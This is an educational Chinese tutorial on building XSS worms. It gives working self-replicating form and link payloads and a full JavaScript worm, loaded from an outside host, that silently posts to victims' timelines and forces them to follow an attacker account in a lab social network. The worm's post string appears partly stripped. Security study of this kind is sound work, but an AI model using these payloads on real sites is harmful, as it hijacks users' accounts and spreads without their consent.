XSS蠕蟲的構造
小編寄語:
XSS攻擊最大的危害在于可能在一個系統中的用戶間互相感染,以致整個系統的用戶淪陷。能夠造成這種危害的腳本我們稱之為XSS蠕蟲。
第一部分
XSS攻擊最大的危害在于可能在一個系統中的用戶間互相感染,以致整個系統的用戶淪陷。能夠造成這種危害的腳本我們稱之為xss蠕蟲。
為了更好的理解為xss蠕蟲的工作原理,我們需要開始一段嶄新的旅程去了解構造自我復制的代碼所需要的技術。
出于教學目的,我們將僅僅以最簡單的代碼實例做講解。 所以我們盡可能避免使用XHR等js過程。
讓我們來看看最簡單的一個自我復制的反射型XSS實例。它僅僅能夠在頁面注入一個鏈接,打開這個鏈接將在新的標簽頁中注入同樣的xss語句。
- <a href target=_blank>click</a>
可以在這里(http://brutelogic.com.br/webgun/test.php?p=%3Ca%20href%20target=_blank%3Eclick%3C/a%3E)嘗試一下。
現在我們來看一個稍微復雜一些的例子。這個(http://brutelogic.com.br/tests/comments.php)頁面用于發送評論,并且存在存儲型xss。 如果我們在評論中插入如下代碼:
- <form method=post onclick=elements[0].value=outerHTML;submit()>
- <input type=hidden name=comment>click me!</form>
這里注入了一個表格,使用post方法發送comment參數。每當onclick方法被觸發時,它會將表格中的第一個元素的value填充為整個form標簽內的html代碼(包括form標簽本身)這樣每當有人點擊click me!我們就能不斷的發送這條評論到評論頁面中,也就完成了自我復制。
對于很少有用戶交互的xss向量,我們可以使用onmouseover事件或者類似的css trick來增加觸發蠕蟲的可能性。
盡管上面這個例子看起來很有趣,但是實際上一般評論頁面都不會允許在評論中插入一個表格,在反射型xss中更有可能觸發,但是這樣造成的危害并不大,所以為了造成實際危害,我們需要結合反射型XSS與存儲型XSS。
下面的一段代碼將被插入到一個反射型xss中。
- <form method=post action="//brutelogic.com.br/tests/comments.php"
- onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()">
- <input type=hidden name=comment>click me!</form>
當click me被點擊時,它將向comments.php post數據,完成發送評論的操作。和之前的html代碼不同的是,他post的comment內容不再是一個表格,而是一個鏈接,鏈接的內容指向同樣的xss向量,也就是注入了蠕蟲代碼的的存在存儲型xss的頁面。鏈接被點擊后將繼續造成蠕蟲傳播。
為了讓攻擊進行的更加隱蔽,我們可以不讓用戶返回至comment頁面,而是通過插入一個不可見的iframe,并將請求在這個不可見的iframe中打開,代碼如下:
- <iframe style=display:none name=x></iframe>
- <form method=post action="//brutelogic.com.br/tests/comments.php"
- onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()"
- target=x><input type=hidden name=comment>click me!</form>
在這里嘗試(http://brutelogic.com.br/webgun/test.php?p=%3Ciframe%20style=display:none%20name=x%3E%3C/iframe%3E%3Cform%20method=post%20action=%22//brutelogic.com.br/tests/comments.php%22onclick=%22elements%5B0%5D.value=%27%3Ca/href=%27%2bURL%2b%27%3Elink%3C/a%3E%27;submit%28%29%22target=x%3E%3Cinput%20type=hidden%20name=comment%3Eclick%20me!%3C/form%3E)。
下一部分中,我們將做一個獨特的實驗,即xss在傳統社交網絡中的不同用戶間的傳播是如何進行的。
第二部分
為了理解XSS蠕蟲的實際應用,我們首先介紹一下XSS蠕蟲的傳播環境,一個簡單的社交網絡。我們姑且叫他XSSbook,它的數據庫主要由三個表組成。
每個表的內容
users表有該社交系統中的用戶信息,包括用戶id,登錄名,姓名,加密后的密碼,電子郵箱地址和簡單的自我介紹。
posts表存儲了文章信息,包括文章id,發布者id,文章內容與文章發布時間。
最后,follows表描述了用戶之間收聽與被收聽的關系,即每個收聽的用戶的動態都會出現在該用戶的timeline上。
這一系列php代碼可以完成會話控制等功能,支撐整個系統的運轉。
現在挑戰在于用如何盡可能接近真實社交網絡的數據傳播來使用虛假數據產生一個數據庫。為了達到這個目的,我們會使用bash腳本來生成一系列數據以貼近大型社交網絡。我們也將努力的呈現這種呈指數級別增長的XSS蠕蟲的威力,即當成千上萬的用戶連接時,XSS蠕蟲的傳播將越來越快!
第三部分
我們以一個數據集合開始產生一個XSSBOOK的數據庫。
和傳統社交網絡一樣,只有極少用戶能夠擁有大量的聽眾。為了方便演示,這里我們產生了一百個用戶,他們都有同樣的密碼12345678。
其中,“Brute”是最后一個用戶。
XSSBOOK這個應用看起來是這個樣子的。
首頁顯示了收聽的用戶所發表的信息。在上面的截圖當中,Brute收聽了Angela并且看到Angela最近的推文。他的資料頁展示了他的聽眾數量(目前是0)和自我介紹。Brute還沒有發表過推文所以沒有顯示。
蠕蟲傳播的開始,第一個受到感染的是George。他因為訪問了一個通過搜索功能存在的反射型xss漏洞構造的蠕蟲而受到感染:
http://localhost/xssbook/search.php?user=%3Cscript%20src=//brutelogic.com.br/tmp/xssbook.js%3E%3C/script%3E
引入的js的內容為
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
fr = document.createElement('iframe');
fr.setAttribute('name', 'myFrame');
fr.setAttribute('style', 'display:none');
document.body.appendChild(fr);fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
i = document.createElement('input');
i.setAttribute('type', 'hidden');
i.setAttribute('name', 'follow');
fo.appendChild(i);
fo.elements[0].value='follow';document.body.appendChild(fo);
fo.submit();
解析一下這段js
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
開頭四行是蠕蟲的自我傳播部分,它在用戶不知情的情況下發送了一條推文,推文的內容首先閉合了 textarea標簽,插入了一個換行符,再插入了一個指向當前頁面(即蠕蟲傳播)的鏈接。
fr = document.createElement(‘iframe’);
fr.setAttribute(‘name’, ‘myFrame’);
fr.setAttribute(‘style’, ‘display:none’);
document.body.appendChild(fr);
這四行我們創建了個看不見的iframe,這個iframe將會成為接下來蠕蟲要創建的form的target(這樣做的目的見上文)。
fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
這四行代碼創建了一個form,target是之前的iframe,目標頁面是100號用戶的個人資料,也就是brute用戶的個人資料頁面。
i = document.createElement(‘input’);
i.setAttribute(‘type’, ‘hidden’);
i.setAttribute(‘name’, ‘follow’);
fo.appendChild(i);
這里創建了個不可見的input塊,目的在于post一個follow的值。
fo.elements[0].value='follow';
而follow的值也被設定為follow。
document.body.appendChild(fo);
form被加入到頁面中
fo.submit();
form最終被提交。
如我們所見,這段蠕蟲代碼將會復制自身,傳播自身,并且關注用戶“Brute”
所以我們現在有一個100人規模的社交網絡,連接數為463。我們現在要看看蠕蟲在用戶間的傳播。為了達到這個目的我們將使用Firefox擴展Selenium IDE。
我們使用該擴展模擬用戶的行為,通過給定的csv表格中的帳號信息陸續登錄賬戶,點擊timeline上的鏈接。接下來我們就可看到該蠕蟲的快速傳播。